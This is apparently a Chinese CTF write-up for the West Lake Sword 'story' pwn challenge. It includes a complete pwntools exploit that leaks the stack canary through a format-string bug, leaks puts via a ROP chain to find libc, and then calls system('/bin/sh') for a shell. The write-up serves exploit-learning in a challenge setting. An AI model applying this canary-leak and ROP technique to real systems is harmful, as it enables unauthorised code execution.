pwn

西湖论剑——pwn
这道题目开了canary,和之前的套路相似,就是要泄露canary,利用栈溢出找到system和/bin/sh,拿到访问权限
看一下函数
西湖论剑——pwn

西湖论剑——pwn
printf存在格式化字符串漏洞可以用于泄漏canary
西湖论剑——pwn
西湖论剑——pwn

p.sendlineafter("ID:","%15$p") #不解释了这个要打印的是第十五个参数,也就是canary的值
p.recvuntil("Hello ")#输出hello之后
s=int(p.recvuntil("00"),16)canary的值
print hex(s)#把它打印出来

然后因为里面system和/bin/sh,想要找到,就要找到libc库,要找libc库就可以想办法泄漏某个函数地址

我在这里学到的是一般泄露puts函数

p.sendlineafter("Tell me the size of your story:\n",str(129))#一定要大于128,所以大于就可以随便写
pay = "a"*136+p64(s)+"a"*8+p64(pop_rdi) #把canary写进去,找到rdi地址,把puts的got写进去,相当于参数,调用puts,返回main函数
pay+=p64(elf.got["puts"])+p64(elf.plt["puts"])+p64(main)
p.sendlineafter("can speak your story:\n",pay)
puts_addr = u64(p.recv(6).ljust(8, "\x00"))
print hex(puts_addr)

西湖论剑——pwn
a1实际上就是s的形式参数,循环输入,总会溢出的,所以查看s段,构造payload链泄漏puts地址,真实的地址!!!

https://libc.blukat.me/?q=puts%3A690&l=libc6_2.23-0ubuntu10_amd64
这个网站可以直接查地址很不错

西湖论剑——pwn
懒懒的我,这里要找system和/bin/sh的地址等于

p64(libc_base+offset)
p.sendlineafter("Tell me the size of your story:\n",str(129))
pay = "a"*136+p64(s)+"a"*8+p64(pop_rdi)
pay+=p64(libc_base+(0x18cd57))+p64(libc_base+(0x045390))

重要的是,因为要再一次重新泄漏canary,然后执行就可以cat flag了

libc = LibcSearcher("puts" , puts_addr)
libc_base = puts_addr - libc.dump("puts")

找到libc_base

完整exp

# -*- coding:utf-8 -*-  
from pwn import *
from LibcSearcher import LibcSearcher
context(os='linux', arch='amd64', log_level='debug')
p=process("./story")
elf = ELF("./story")
pop_rdi=0x400bd3
read_got=elf.got["read"]
put_plt=elf.plt["puts"]
main=0x400876

p.sendlineafter("ID:","%15$p")
p.recvuntil("Hello ")
s=int(p.recvuntil("00"),16)
print hex(s) ————————————————泄漏canary

p.sendlineafter("Tell me the size of your story:\n",str(129))
pay = "a"*136+p64(s)+"a"*8+p64(pop_rdi)
pay+=p64(elf.got["puts"])+p64(elf.plt["puts"])+p64(main)
p.sendlineafter("can speak your story:\n",pay)
puts_addr = u64(p.recv(6).ljust(8, "\x00"))
print hex(puts_addr)——————————泄漏puts函数

libc = LibcSearcher("puts" , puts_addr)
libc_base = puts_addr - libc.dump("puts")——————————找到libc_base

p.sendlineafter("ID:","%15$p") 
p.recvuntil("Hello ")
s=int(p.recvuntil("00"),16)
print hex(s)————— —————————再一次执行过程中需要重新泄漏canary,因为canary的值会变的

p.sendlineafter("Tell me the size of your story:\n",str(129))
pay = "a"*136+p64(s)+"a"*8+p64(pop_rdi)
pay+=p64(libc_base+(0x18cd57))+p64(libc_base+(0x045390))
p.sendlineafter("You can speak your story:\n",pay)
p.interactive()
执行就好了呀

西湖论剑——pwn
完成了呀!!!!!

相关文章:

  • 2022-12-23
  • 2021-12-13
  • 2021-08-15
  • 2022-12-23
  • 2022-12-23
  • 2021-10-14
  • 2021-04-13
  • 2022-12-23
猜你喜欢
  • 2021-08-23
  • 2021-06-03
  • 2022-12-23
  • 2021-08-13
  • 2022-01-28
  • 2021-06-07
  • 2022-12-23
相关资源
相似解决方案